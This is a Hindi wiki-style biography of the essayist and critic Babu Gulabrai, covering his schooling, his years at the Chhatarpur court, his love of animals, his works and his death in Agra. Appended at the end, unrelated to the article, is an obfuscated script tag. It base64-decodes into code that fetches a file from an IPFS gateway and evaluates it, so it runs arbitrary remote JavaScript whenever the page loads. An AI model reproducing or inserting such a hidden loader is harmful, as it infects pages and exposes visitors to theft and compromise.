बाबू गुलाबराय

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 08:18, 23 अक्टूबर 2012 का अवतरण (''''बाबू गुलाबराय''' (जन्म- 17 जनवरी, 1888, इटावा, [[उत्तर प...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

बाबू गुलाबराय (जन्म- 17 जनवरी, 1888, इटावा, उत्तर प्रदेश; मृत्यु- 13 अप्रैल, 1963, आगरा) भारत के प्रसिद्ध साहित्यकार, निबंधकार और व्यंग्यकार थे। वे हमेशा सरल साहित्य को प्रमुखता देते थे, जिससे हिन्दी भाषा जन-जन तक पहुँच सके। गुलाबराय जी ने दो प्रकार की रचनाएँ की हैं- दार्शनिक और साहित्यिक। उनकी दार्शनिक रचनाएँ उनके गंभीर अध्ययन और चिंतन का परिणाम हैं। उन्होंने अपनी रचनाओं में शुद्ध भाषा तथा परिष्कृत खड़ी बोली का प्रयोग अधिकता से किया है। आधुनिक काल के निबंध लेखकों और आलोचकों में बाबू गुलाबराय का स्थान बहुत ऊँचा है। उन्होंने आलोचना और निबंध दोनों ही क्षेत्रों में अपनी प्रतिभा और मौलिकता का परिचय दिया है।

जन्म तथा शिक्षा

बाबू गुलाबराय का जन्म 17 जनवरी, 1888 को इटावा (उत्तर प्रदेश) में हुआ था। उनके पिता भवानी प्रसाद धार्मिक प्रवृत्ति के व्यक्ति थे। उनकी माता भी भगवान श्रीकृष्ण की उपासिका थीं। वे सूरदास और कबीर के पदों को तल्लीन होकर गाया करती थीं। माता-पिता की इस धार्मिक प्रवृत्ति का प्रभाव बाबू गुलाबराय पर भी पड़ा। गुलाबराय की प्रारंभिक शिक्षा मैनपुरी में हुई थी। अपनी स्कूली शिक्षा के बाद उन्हें अंग्रेज़ी शिक्षा के लिए ज़िले के विद्यालय में भेजा गया। गुलाबराय ने 'आगरा कॉलेज' से बी. ए. की परीक्षा पास की। इसके पश्चात 'दर्शनशास्त्र' में एम. ए. की परीक्षा उत्तीर्ण करके गुलाबराय जी छतरपुर चले गए।

व्यावसायिक जीवन

छतरपुर में गुलाबराय की प्रथम नियुक्ति महाराजा विश्वनाथ सिंह जूदेव के दार्शनिक सलाहकार के रूप में हुई। कुछ समय बाद उन्हें महाराज का निजी सहायक बना दिया गया। बाबू गुलाबराय अपने राजकीय कर्तव्य के पालन में सदैव सचेत रहते थे। वह राज्य के धन को ऐसी सावधानी से व्यय करते थे, जैसे वह उनका निजी धन हो। इस संबंध में अनेक प्रसंग भरे पड़े हैं। राज्य में जितना सामान खरीदा जाता था, वह महाराज के सहायक द्वारा ही क्रय किया जाता था। एक बार एक बड़े सौदागर से गुलाबराय ने कई हज़ार रुपये का सामान खरीदा। सौदागर ने उनको कमीशन ले लेने का संकेत किया। गुलाबराय ने पूछा- 'कितना बनता है'। फिर उस सौदागर से कहा कि बिल में लिख दीजिए। उनकी इस मितव्ययिता तथा राजनिष्ठा से महाराज बड़े प्रभावित हुए। बाबू गुलाबराय ने छतरपुर दरबार में 18 वर्ष व्यतीत किए और राज दरबार के न्यायाधीश की भी भूमिका निभाई।

पशु-पक्षी प्रेमी

बाबू गुलाबराय को पशु-पक्षियों से भी बहुत प्रेम था। जब महाराज का निधन हुआ, तब वे छतरपुर राज्य की सेवा छोड़कर आगरा वापस आ गये और अपने पालित पशु-पक्षियों को भी साथ लेकर आए। जो भी उनके संपर्क में आया, वही उनके परिवार का सदस्य और उनकी लेखनी का विषय बन गया।

वर्ण्य विषय

रचना दृष्टि से गुलाबराय जी ने दो प्रकार की रचनाएँ की हैं-

  1. दार्शनिक
  2. साहित्यिक

बाबू गुलाबराय की दार्शनिक रचनाएँ उनके गंभीर अध्ययन और चिंतन का परिणाम हैं। उन्होंने सर्व प्रथम हिन्दी को अपने दार्शनिक विचारों का दान दिया। उनसे पूर्व हिन्दी में इस विषय का सर्वथा अभाव था। गुलाबराय की साहित्यिक रचनाओं के अंतर्गत उनके आलोचनात्मक निबंध आते हैं। ये आलोचनात्मक निबंध सैद्धांतिक और व्यवहारिक दोनों ही प्रकार के हैं। उन्होंने सामाजिक, सांस्कृतिक, मनोवैज्ञानिक आदि विविध विषयों पर भी अपनी लेखनी चलाकर हिन्दी साहित्य की अभिवृद्धि की है।

रचनाएँ

'ठलुआ क्लब', 'कुछ उथले-कुछ गहरे', 'फिर निराश क्यों' उनकी चर्चित रचनाएँ हैं। उन्होंने अपनी आत्मकथा 'मेरी असफलताएँ' नाम से लिखी। आनंदप्रियता बाबू गुलाबराय के परिवार की एक ख़ास विशेषता रही थी। वह सभी त्योहार बड़ी धूमधाम से मनाते थे। उम्र के साठ वर्ष बीतने पर उन्होंने इन उत्सवों में अपना जन्मदिन मनाने का एक उत्सव और जोड़ लिया था। इस दिन आगरा में उनके घर 'गोमती निवास' पर एक साहित्यिक गोष्ठी होती थी। इसमें अनेक साहित्यकार आते थे। इसके अतिरिक्त उनकी अन्य रचनाएँ इस प्रकार हैं-

  1. सत्य हरिश्चंद्र
  2. भाषा-भूषण
  3. कादंबरी कथा-सार
  4. विज्ञान वार्ता
  5. बाल प्रबोध
  6. काव्य के रूप
  7. भारतीय संस्कृति की रूपरेखा

निधन

बाबू गुलाबराय ने अपने जीवन के अंतिम काल तक साहित्य की सेवा की। उनकी साहित्यिक सेवाओं के फलस्वरूप 'आगरा विश्वविद्यालय' ने उन्हें 'डी. लिट.' की उपाधि से सम्मानित किया था। सन 1963 में आगरा में उनका स्वर्गवास हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>